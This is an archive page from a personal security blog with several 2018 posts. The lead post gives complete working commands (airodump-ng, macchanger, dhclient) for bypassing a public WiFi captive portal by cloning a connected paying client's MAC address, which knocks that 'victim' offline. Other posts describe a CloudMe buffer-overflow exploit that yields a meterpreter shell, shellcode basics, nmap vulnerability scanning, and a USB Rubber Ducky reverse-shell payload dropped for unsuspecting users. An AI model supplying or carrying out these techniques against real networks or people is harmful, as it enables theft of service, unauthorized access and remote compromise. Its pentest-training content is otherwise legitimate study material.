Wednesday, April 4, 2018

How to Bypass Public WiFi Landing Page

If you happen to travel to hotels, airports, malls, or starbucks. You often notice Free Wifi hotspots, usually these hotspots are open without authentication. Such hotspots are designed to automatically redirect clients to a landing page that requires authentication either via a preshared password or some personal details such as your email or phone no.




If you are like me, I hate paying or giving out unnecessary info to these hotspots for security reasons. You might like what I am about to share with you. Here is a simple technique to bypass the landing page. Basically landing pages are authentication gateways, with valid credentials, your MAC/Physical address will be allowed thru. As long as your MAC/Physical address doesn't change, you will be granted access to the Web.

Simple Bypass Technique
For this technique to work, you will need to spoof your MAC addr. Firstly, you will need to identify a  connected *cough* paying *cough* client that is already connected to the hotspot, then steal his MAC/Physical addr by spoofing the addr.

Here are the steps, you will need Linux with airmon, macchanger and airodump-ng. I use Kali and all of it are bundled.

Start the monitoring on wlan0:
# airmon-ng start wlan0

Your wlan0 should go into monitoring mode, now you can check for valid SSIDs:
# airodump-ng wlan0mon

CH 11 ][ Elapsed: 36 s ][ 2018-04-04 22:37                                       
                                                                                             
 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID
                                                                                             
 40:E3:D6:23:A3:C0   -1        0        2    0   6  -1   OPN              <length:  0>       
 40:E3:D6:23:E2:61   -1        0        3    0   6  -1   OPN              <length:  0>       
 F0:5C:19:85:65:62  -53       26       29    0   6  54e. OPN              WE WiFi             
 F0:5C:19:85:65:63  -53       27        0    0   6  54e. OPN              aamra WiFi         
 F0:5C:19:85:65:60  -53       33        0    0   6  54e. WPA2 CCMP   PSK  <length:  0>       
 F0:5C:19:85:65:61  -54       28      402    0   6  54e. OPN              SKYLOUNGE           
 40:16:7E:BA:44:10  -62       35       17    0  11  54e  WPA2 CCMP   PSK  K-LOUNGE             
 E0:91:F5:7D:E7:A4  -65       22        0    0   6  54e  WPA2 CCMP   PSK  icon_Lounge_Wi-Fi   
 00:6C:BC:EE:8A:E3  -65       32        1    0  11  54e  WPA2 CCMP   PSK  MTB-AIR-LOUNGE WI-FI 
 88:D7:F6:04:C5:50  -71       18      171    0   6  54e  WPA2 CCMP   PSK  EK_SALES01           
 DA:0F:99:1C:E1:55  -73       15        0    0   6  54e  WPA2 CCMP   PSK  DIRECT-RC-BRAVIA

I'm going to target aamra WIFI. Firstly, connect to the SSID:
# airodump-ng --bssid 'F0:5C:19:85:65:63' wlan0mon

From here, take note of the clients that are already connected, chose your victim to hijack:

CH  7 ][ Elapsed: 24 s ][ 2018-04-04 23:05                                       
                                                                                             
 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID
                                                                                             
 F0:5C:19:85:65:63  -59       24       99    2   6  54e. OPN              aamra WiFi         
                                                                                             
 BSSID              STATION            PWR   Rate    Lost    Frames  Probe                   
                                                                                             
 F0:5C:19:85:65:63  70:8B:CD:0B:CC:42  -32    0e- 6e    69      101


You can stop monitoring the Wifi:
# airmon-ng stop wlan0mon

Now change your MAC addr, first bring the wlan0 down :
# ifconfig wlan0 down

Now change your MAC addr and bring it back up:
# macchange -m 70:8B:CD:0B:CC:42 wlan0

Current MAC:   f8:34:41:5d:89:ce (unknown)
Permanent MAC: f8:34:41:5d:89:ce (unknown)
New MAC:       70:8b:cd:0b:cc:42 (unknown)

# ifconfig wlan0 up
# ifconfig wlan0
wlan0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.208.113.56  netmask 255.255.240.0  broadcast 10.208.127.255
        ether 70:8b:cd:0b:cc:42  txqueuelen 1000  (Ethernet)
        RX packets 41  bytes 8537 (8.3 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 75  bytes 12831 (12.5 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

Get a new IP addr:
# dhclient wlan0


And you are now good to go!! I recommend to keep a continuous ping to an Internet addr to keep your connection alive. The hijacked victim will not be able to connect unless you stopped communicating.

There are other fancier techniques such as tunneling thru DNS or ICMP traffic, perhaps I can cover that in the future.

Enjoy! ;-)

*Disclaimer: I take no responsibility for any unlawful or legal repercussion that might occur as a result of your action. This post is intended for educational purposes only.






Sunday, April 1, 2018

PenTest Magazine Publication: Data Exfiltration via Encrypted DNS Tunnel using dnscat2

I'm proud to announce that my first article was published on PenTest Magazine, February 2018 issue. It's a subscription based magazine, the full article is available for download for subscribers only.

My article is entitled "Data Exfiltration via Encrypted DNS Tunnel using dnscat2". It is my first paid for article so I am super proud of it! The download link can be found, here. Do leave me your comments.

For my next piece of article, it is my hope that I will be able to write a short technical summary describing a working Windows Buffer Overflow Exploit development using Immunity Debugger. Part 1 was already published.

Saturday, March 10, 2018

Cloudme Sync 1.9.2 Remote Buffer Overflow Demo


The last exploit I wrote used plain vanilla EIP overwrite. This time, I used a slightly different technique called SEH. The advantage over EIP is that SEH provides more buffer space for the shellcode. I thought it would be good to understand the difference between EIP and SEH based buffer overflow exploitation techniques. You can find my code on github, here. Here is a short video of my exploit in action.








Sunday, March 4, 2018

PoC CloudMe Sync 1.9.2 Remote Buffer Overflow for Win7 32b SP1

I was supposed to write a tutorial on writing simple BoF exploits for Windows. Anyways, I wrote my first remote exploit for CouldMe Sync.

The code can be found at my gisthub repo. It grants the attacker with meterpreter shell. It is a pretty straight fwd exploit since there are no DEP or ASLR involved.

Strictly for educational purposes only....

Thursday, March 1, 2018

Simplified Buffer Overflow Exploit Development (Part 1)

Introduction

This is an oversimplified write up on writing buffer overflow exploits. I kept it really simple as it is meant for my own reference. If you want more content, there are tons of material online. A buffer overflow attack is a means of overflowing an allocated buffer in memory with malicious shellcode/opcode to overwrite the EIP to execute arbitrary code. The analogy is similar to filling a bucket of water until it overflows, just that a computer buffer is filled from the top to the bottom.


Diagram illustrates a simple diagram of a computer buffer

The stack starts from the top and end at the bottom. This is a simplified version of a stack, take note on the 3 registers because you will be working with it in the debugger.

EIP = Instruction Pointer
EBP = Bottom Stack Pointer
ESP = Top Stack Pointer

Another analogy is dumping garbage into a bucket until it overflows, when it does, we know exactly how much to overflow it. The right amount of 'garbage' is then replaced with the right amount of malicious code such as a reverse shell with /bin/bash or cmd.exe for code execution.

Take note of the following:

PUSH = adds something to the top of the stack
POP = pushes 4byte down the stack
MOV
RET

Mem address starts from 0x00000000 and ends at 0xFFFFFFFF. The goal here is to overwrite EIP with the mem address of the shellcode. This is usually at the start of the stack(ESP), however, the stack is a dynamic and keeps growing so we will use a 'jmp esp' register in the application's dll to hunt for the shellcode, since we won't know where exactly the shellcode resides, we pad the shellcode with NOP sleds. Below illustrates the stack being populated:


AAAAAAAAA      0x1a00bb44  9090909090    0x01020300    evil code..
Random Pattern      EIP                NOP Slide      JMP ESP         Shellcode
------------------------------------------------------>>>>>>>>>>>>>

Fuzzing

Firstly, to overflow the stack you need to gauge how much 'garbage' to stuff into it. This is where fuzzing comes into play. Fuzzing is just throwing random pattern into the stack to find the right measurement for overflow. This is commonly referred to as an 'offset'. To do this, we use combination of msfpayload and simple python script.

Exploit Development

Much of the exploit development is done inside a debugger, for Windows, you can either use OllyDebugger or Immunity. For Linux, there are dozens of GUIs for gdb(command line). For this tutorial, we'll be using Immunity since we are focusing on Windows Exploit Development. By attaching the the vulnerable program to Immunity, we'll be able to step into the memory allocated for the program and examine its behaviour as we fuzz it. This means you will have to understand the basics of maneuvering around Immunity, such as setting break points, stepping into memory registers and searching for 'jmp esp'. Reading Hex values is also an important skill to have but that is easily referenced in a Hex table.


Shellcoding

Once the offset is found, we can replace the pattern with shellcode. The shellcode is also known as opcodes, is a small assembly code to direct code execution on the victim machine when the EIP is overwritten. For this, we can use msfvenom, though, such shellcode are easily detected by commercial AV products, so if you are serious about AV evasion, you will have to write your own shellcode. Here are some universal bad chars to avoid in shellcode:

  • 00 for NULL
  • 0A for Line Feed \n
  • 0D for Carriage Return \r
  • FF for Form Feed \f

Exploitation

Once we have assembled the exploit, just send it off to the vulnerable program's socket (if remote), or load it via an argument (if local) and see magic happen. Usually, the vulnerable program will cease to function or exit with an exception, however, there are techniques in the shellcode to avoid this from happening. Some Windows services also respawn when terminated which helps too. In this tutorial, we did not take into account Windows Stack Protection such as DEP and ASLR for Linux. That in my opinion, are advanced Exploitation techniques which I have yet to full comprehend.

In the next part, I will walkthru a working example of building an exploit using an outdated program that is vulnerable to a remote buffer overflow. Stay tuned...

Saturday, February 24, 2018

Using NMAP NSE for Identifying Vulnerabilities

When I sat for the OSCP exam, automated vulnerability scanners were banned. However, the usage of nmap nse script was allowed. Nmap has built-in NSE(Network Scripting Engine) capability for network discovery, backdoor detection, vulnerability detection and even exploitation. Among other tools such as burpsuite, nikto, dirbuster, owasp-zap, I found nmap's nse script insanely useful for vulnerability detection.

Here are some common usage:

$ nmap --script http-vuln-cve2013-0156 www.victim.com -p80

Starting Nmap 6.40 ( http://nmap.org ) at 2018-02-19 04:49 EST
Nmap scan report for www.victim.com (x.x.x.x.x)
Host is up (0.022s latency).
PORT   STATE SERVICE
80/tcp open  http
| http-vuln-cve2013-0156:
|   VULNERABLE:
|   Parameter parsing vulnerabilities in several versions of Ruby on Rails allow object injection, remote command execution and Denial Of Service attacks (CVE-2013-0156)
|     State: VULNERABLE
|     Risk factor: High
|     Description:
|       All Ruby on Rails versions before 2.3.15, 3.0.x before 3.0.19, 3.1.x before 3.1.10, and 3.2.x before 3.2.11 are vulnerable to object injection, remote command execution and denial of service attacks.
|       The attackers don't need to be authenticated to exploit these vulnerabilities.
|     
|     References:
|       https://community.rapid7.com/community/metasploit/blog/2013/01/10/exploiting-ruby-on-rails-with-metasploit-cve-2013-0156
|       https://groups.google.com/forum/?fromgroups=#!msg/rubyonrails-security/61bkgvnSGTQ/nehwjA8tQ8EJ
|_      http://cvedetails.com/cve/2013-0156/

Nmap done: 1 IP address (1 host up) scanned in 1.45 seconds

The above example illustrate the usage of nmap on port 80 to identify a web vulnerability in Ruby on Rails. The usage of metasploit was limited to once per exam. Meaning, you can only use it to exploit 1 vulnerability out of the 5 boxes that you had to root. Think of it like a lifeline if you would. Speaking from my experience, I opine that metasploit is an essential tool in penetration testing. However,  OSCP exam's goal is to teach one to fully understand an exploit's internal working, metaploit unfortunately, makes it too easy to pawn, hence, why its usage is severely limited. You can however, use metaploit auxiliary functions to scan and identify vulnerabilities without any restrictions during the exam.

NSE script can be used to scan for literately hundreds of known vulnerabilities. Caution, it is not comprehensive enough to replace a full fledged commercial vulnerability scanner.

Here's another example:


$ nmap --script http-vuln-cve2017-5638 www.victim.com -p80

Starting Nmap 7.60 ( https://nmap.org ) at 2018-02-19 18:04 +08
Nmap scan report for www.victim.com (x.x.x.x.x)
Host is up (0.29s latency).

PORT   STATE SERVICE
80/tcp open  http
| http-vuln-cve2017-5638:
|   VULNERABLE:
|   Apache Struts Remote Code Execution Vulnerability
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-5638
|       Apache Struts 2.3.5 - Struts 2.3.31 and Apache Struts 2.5 - Struts 2.5.10 are vulnerable to a Remote Code Execution
|       vulnerability via the Content-Type header.
|         
|     Disclosure date: 2017-03-07
|     References:
|       https://cwiki.apache.org/confluence/display/WW/S2-045
|       http://blog.talosintelligence.com/2017/03/apache-0-day-exploited.html
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5638

Nmap done: 1 IP address (1 host up) scanned in 1.63 seconds

The above illustrate the detection of Apache Struts vulnerability. If you are not sure which nse script to use, you may use a wildcard such as:

$ nmap --script "http-vuln-cve*" www.victim.com -p80

Remember to include the "", the command above will scan www.victim.com on port 80 for all http vulnerabilities in nse scripts. More commands can be found  at Nmap's official website.

I personally like to make sure I have all the latest nse scripts loaded before I scan:

$ sudo nmap --script-updatedb

Starting Nmap 7.60 ( https://nmap.org ) at 2018-02-19 18:10 +08
NSE: Updating rule database.
NSE: Script Database updated successfully.
Nmap done: 0 IP addresses (0 hosts up) scanned in 0.61 seconds

Here's an example of me using it to detect shellshock:

$ nmap -p80 --script "http-shellshock*" --script-args uri=/cgi-bin/status www.victim.com

Starting Nmap 7.60 ( https://nmap.org ) at 2018-02-19 18:36 +08
Nmap scan report for www.victim.com (x.x.x.x.x)
Host is up (0.33s latency).

PORT   STATE SERVICE
80/tcp open  http
| http-shellshock:
|   VULNERABLE:
|   HTTP Shellshock vulnerability
|     State: VULNERABLE (Exploitable)
|     IDs:  CVE:CVE-2014-6271
|       This web application might be affected by the vulnerability known as Shellshock. It seems the server
|       is executing commands injected via malicious HTTP headers.
|           
|     Disclosure date: 2014-09-24
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271
|       http://www.openwall.com/lists/oss-security/2014/09/24/10
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-7169
|_      http://seclists.org/oss-sec/2014/q3/685

Nmap done: 1 IP address (1 host up) scanned in 1.67 seconds


One important note when using the nse script to detect vulnerabilities, is to adjust the --script-args(highlighted above), always read up on the online nse usage to ensure proper argument usage, or else you will end up missing the vulnerability completely when it is staring at you right in the eyes!! Important, do not completely rely on nmap alone, you'll need to enumerate further combining different toolsl! Also, do not completely believe if a particular vuln scanner do not show you the intended results, vulnerability scanners are known for false negatives which often mislead a pentester in ignoring a vulnerability completely. My recommendation would be to combine other tools such as burpsuite, nikto, dirbuster or owasp-zap for enumeration techniques.

Another important point to note, other than the obvious false positive or false negative results,  not all vulnerabilities are detectable via scanners. While majority of CVE tagged vulnerabilities are detectable via automated scanners, there are few vulnerabilities that rely on code logic flaws that can only be discovered via customized queries or/with human interaction or code review. Common misconception that vulnerability scanners are the ultimate tool but it is far from the truth. That was the one most important lessons that I've learnt from offensive-security syllabus.

Friday, February 2, 2018

USB Rubber Ducky

Introduction


The USB Rubber Ducky is a product by Hak5. It is HID(Human Interface Device) a.k.a a keyboard, disguised as a USB thumb drive. Inside this device is a micro SD memory card containing a programmable executable for predefined keystroke commands, it works against different Operating Systems.

Product Details


This product can be purchased at hak5 website for around 45 Dollars (US). There are several components inside the package.


Figure A:Packaging containing the product



Figure B: (From Left to Right) USB housing, HID, Cradle, OTG connector




Figure C: The USB housing is used to disguise the HID to look like a regular USB thumb drive.

Practical Usage


The Rubber Ducky is designed to run a series of preset keystroke commands as directed via a keyboard when plugged into a PC's USB port. For example, it can be programmed to invoke a shutdown sequence, deactivate AntiVirus software or Windows Defender, brute force pin-codes on Android mobile devices. It can also be used to exfiltrate user credentials via SMB, steal documents, download scripts, wipe out drives or anything you can conjure from an attached keyboard. All of this is done using a simple scripting language affectionately called the Ducky script. For practical usage, pentesters can utilize it as part of a social engineering scheme into tricking unsuspecting users in an organization. For example, simply drop a few Rubber Ducks on the office floor and wait for someone to pick it up and insert it into his PC. The rubber ducky was also featured in the award winning TV series, Mr Robot. Where the hacker dropped several devices outside a police station, the next scene showed a police officer plugging it into the station's PC. You guess what happened next...

Programming the HID


Before finding practical usages for it, you will first need to write its payload. Firstly, place the Micro SD memory chip into the cradle as pictured below. 


By placing it in the cradle, the HID is now detected as a regular USB drive, thus making it safe for you to plug it into your PC's USB port.



Figure D: Snapshot of a ducky code. This payload is designed to connect to a netcat listener on a VPS, simply a reverse shell invoked when this USB drive is plugged into the victim's PC. 

Luckily, Hak5 has loads of prewritten ducky code, you may download it or write your own custom code. There are loads of material on the web for those of you interested in developing custom payloads.

Next, the ducky code will need to be compiled using the duckencoder into an 'inject.bin' format that is placed inside the memory card.

$ ./duckencoder.jar -i payloads/reverseshell.txt -o /media/usb/inject.bin
Hak5 Duck Encoder 2.6.3

Loading File ..... [ OK ]
Loading Keyboard File ..... [ OK ]
Loading Language File ..... [ OK ]
Loading DuckyScript ..... [ OK ]
DuckyScript Complete ..... [ OK ]

Figure E: illustrates the compilation of the revershell duckcode into binary format.

After compilation, the memory card can be transferred back to the HID device and disguised as a USB thumb drive. See figure below:

  

Figure F: Illustrates the memory card placed inside the HID device before the housing is completely assembled.


Once that is done, insert the disguised 'USB thumb drive' into the victim's PC and watch it in action:





Figure G: This video demonstrates automatic keystroke injection on a Virtual Guest Host when a USB Rubber Ducky is plugged-in. The window on the right displays a netcat listener on a VPS, waiting to receive its payload which happens to be a Windows cmd.exe reverse shell. 

The USB Rubber Ducky also works on Android Mobile devices, the supplied OTG connector allows it to be plugged into a micro USB port commonly available on Android phones. The Ducky code will need to be adjusted to suit Android keystrokes. It is commonly used to brute force pin-codes to unlock phones.

Caveats

For starters, most canned payloads can be easily detected by commercial AVs. You might want to write your own payload if you are serious about bypassing Windows Defender or commercial AV products. Secondly, the Ducky executes keystrokes only when a user is logged-on his PC. Just as any connected Keyboard, you will first need to be authenticated and able to type commands into the OS. Furthermore, Ducky runs with the same privilege as the logged-on user. Thirdly, on Windows OS, some keystroke commands might require UAC bypass like the 'run as' command.

Conclusion


In a nutshell, the USB Rubber Ducky is a smart programmable automated keystroke injector. Allowing pentesters to exfiltrate data or test an endpoint security policy. Conversely, it can be used for malicious purposes. It exploits the fundamental flaw in the USB design; upon connection into a PC, the USB device is allowed to declare itself as anything (mobile phone, mouse, pendrive, etc), there is no sanity check performed, after all, this device is seen as a harmless keyboard. The moral of the story, never insert an unknown USB device into your PC! You'll never know what you might unravel ;-)